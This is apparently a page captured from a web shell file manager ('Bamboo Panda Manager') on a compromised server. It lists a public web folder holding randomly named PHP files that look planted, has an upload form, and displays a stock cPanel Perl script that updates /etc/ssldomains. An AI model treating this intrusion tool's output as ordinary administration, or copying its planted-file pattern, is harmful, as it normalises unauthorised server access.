🎋 Bamboo Panda Manager 🇨🇳
📍 [ /home/topdeal/public_html/public ]
T Name Size Actions
📁 .. -
📁 assets -
📁 css -
📁 images -
📁 js -
📁 storage -
📁 vendor -
📄 .htaccess 1.52 KB
📄 0.php 57.54 KB
📄 OlgaliG 153.00 B
📄 atomlib.php 21.16 KB
📄 error_log 958.00 B
📄 gyfvzn.php.php 413.00 B
📄 index.php 6.76 KB
📄 main.php 1.67 KB
📄 mewidu.php.php 413.00 B
📄 mix-manifest.json 311.00 B
📄 noktsf.php.php 413.00 B
📄 robots.txt 448.00 B
📄 sunday.php 28.00 B
📄 web.config 1.17 KB
📄 wonderful.gz 2.69 KB
📄 wonderful.php 157.00 B
📄 wp-freedom.php 52.43 KB
📄 zzz.zip 1.87 KB
Το Μικρό Νάγκετ

Your IP : 172.71.28.171


Current Path : /scripts/
Upload Files:
Current File: //scripts/updatessldomains

#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/updatessldomains                Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# [email protected]                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

# ignore our parent if it dies as this could result in
# a blank domainips files
$SIG{'HUP'} = 'IGNORE';
$SIG{'INT'} = 'IGNORE';

use strict;
use Cpanel::Config                  ();
use Cpanel::Config::userdata::Cache ();
use Cpanel::SafeFile                ();
use IO::Handle                      ();
use Getopt::Long                    ();
use Pod::Usage                      ();

my $help = 0;
Getopt::Long::GetOptions( 'help' => \$help );
Pod::Usage::pod2usage(1) if $help;

my $ssl_port = Cpanel::Config::get_ssl_httpd_port();
my %SSLDOMAINIPS;

my $userdata = Cpanel::Config::userdata::Cache::load_cache();
for my $dns_name ( keys %{$userdata} ) {
    my ( $type, $ssl_ip ) = @{ $userdata->{$dns_name} }[ 2, 6 ];
    next unless $ssl_ip;
    next unless ( $type eq 'main' || $type eq 'sub' );
    $ssl_ip =~ s/:.*//;    # Strip off port number
    $SSLDOMAINIPS{$dns_name} = $ssl_ip;
}

my $ssldomains_fh  = IO::Handle->new();
my $ssldomainslock = Cpanel::SafeFile::safeopen( $ssldomains_fh, '>', '/etc/ssldomains' ) || die "Unable to write: $!";
foreach my $ssldomain ( sort keys %SSLDOMAINIPS ) {
    print $ssldomains_fh "$ssldomain: $SSLDOMAINIPS{$ssldomain}\n";
}
Cpanel::SafeFile::safeclose( $ssldomains_fh, $ssldomainslock );

chmod oct(600), '/etc/ssldomains';

__END__

=head1 NAME

updatessldomains - Update the /etc/ssldomains list of SSL domains assigned to IP addresses

=head1 SYNOPSIS

updatessldomains [options]

    Options:
      --help       Brief help message

=cut

Access denied.